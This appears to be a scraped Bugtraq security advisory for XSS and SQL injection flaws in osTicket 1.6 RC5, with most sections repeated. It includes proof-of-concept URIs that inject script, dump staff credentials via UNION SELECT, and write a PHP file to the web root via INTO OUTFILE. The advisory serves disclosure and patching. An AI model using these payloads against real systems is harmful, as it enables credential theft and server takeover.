osTicket Cross Site Scripting and SQL Injection Vulnerabilities
BID:38166
Info
osTicket Cross Site Scripting and SQL Injection Vulnerabilities
| Bugtraq ID: | 38166 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-0605 CVE-2010-0606 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 09 2010 12:00AM |
| Updated: | Apr 13 2015 09:02PM |
| Credit: | Nahuel Grisolia |
| Vulnerable: |
osTicket osTicket 1.6 RC5 |
| Not Vulnerable: |
osTicket osTicket 1.6 Stable |
Discussion
osTicket Cross Site Scripting and SQL Injection Vulnerabilities
osTicket is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
osTicket 1.6 RC5 is vulnerable; other versions may also be affected.
osTicket is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
osTicket 1.6 RC5 is vulnerable; other versions may also be affected.
Exploit / POC
osTicket Cross Site Scripting and SQL Injection Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/upload/scp/ajax.php?api=1%3Cscript%3Ealert%28%22xss%22%29;%3C/script%3E&f=cannedResp
http://www.example.com/upload/scp/ajax.php?api=kbase&f=%3Cscript%3Ealert%28%22xss%22%29;%3C/script%3E
http://www.example.com/upload/scp/ajax.php?api=tickets&f=searchbyemail&input=nah%27%20%20union%20select%20username,passwd%20from%20ost_staff--%20and%20%27%%27%20LIKE%20%27
http://www.example.com/upload/scp/ajax.php?api=tickets&f=searchbyemail&input=nah%27%20%20union%20select%20%27%3C?php%20phpinfo%28%29;%20?%3E%27,%27%27%20into%20outfile%20%27/var/www/upload/images/info.php%27--%20and%20%27%%27%20LIKE%20%27
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/upload/scp/ajax.php?api=1%3Cscript%3Ealert%28%22xss%22%29;%3C/script%3E&f=cannedResp
http://www.example.com/upload/scp/ajax.php?api=kbase&f=%3Cscript%3Ealert%28%22xss%22%29;%3C/script%3E
http://www.example.com/upload/scp/ajax.php?api=tickets&f=searchbyemail&input=nah%27%20%20union%20select%20username,passwd%20from%20ost_staff--%20and%20%27%%27%20LIKE%20%27
http://www.example.com/upload/scp/ajax.php?api=tickets&f=searchbyemail&input=nah%27%20%20union%20select%20%27%3C?php%20phpinfo%28%29;%20?%3E%27,%27%27%20into%20outfile%20%27/var/www/upload/images/info.php%27--%20and%20%27%%27%20LIKE%20%27
Solution / Fix
osTicket Cross Site Scripting and SQL Injection Vulnerabilities
Solution:
Updates are available. Please see the references for more information.
osTicket osTicket 1.6 RC5
Solution:
Updates are available. Please see the references for more information.
osTicket osTicket 1.6 RC5
-
osTicket osticket_1.6.0.tar.gz
http://osticket.com/dl/osticket_1.6.0.tar.gz
References
osTicket Cross Site Scripting and SQL Injection Vulnerabilities
References:
References:
- osTicket Homepage (osTicket)
- osTicket SVA-2010-209 (osTicket)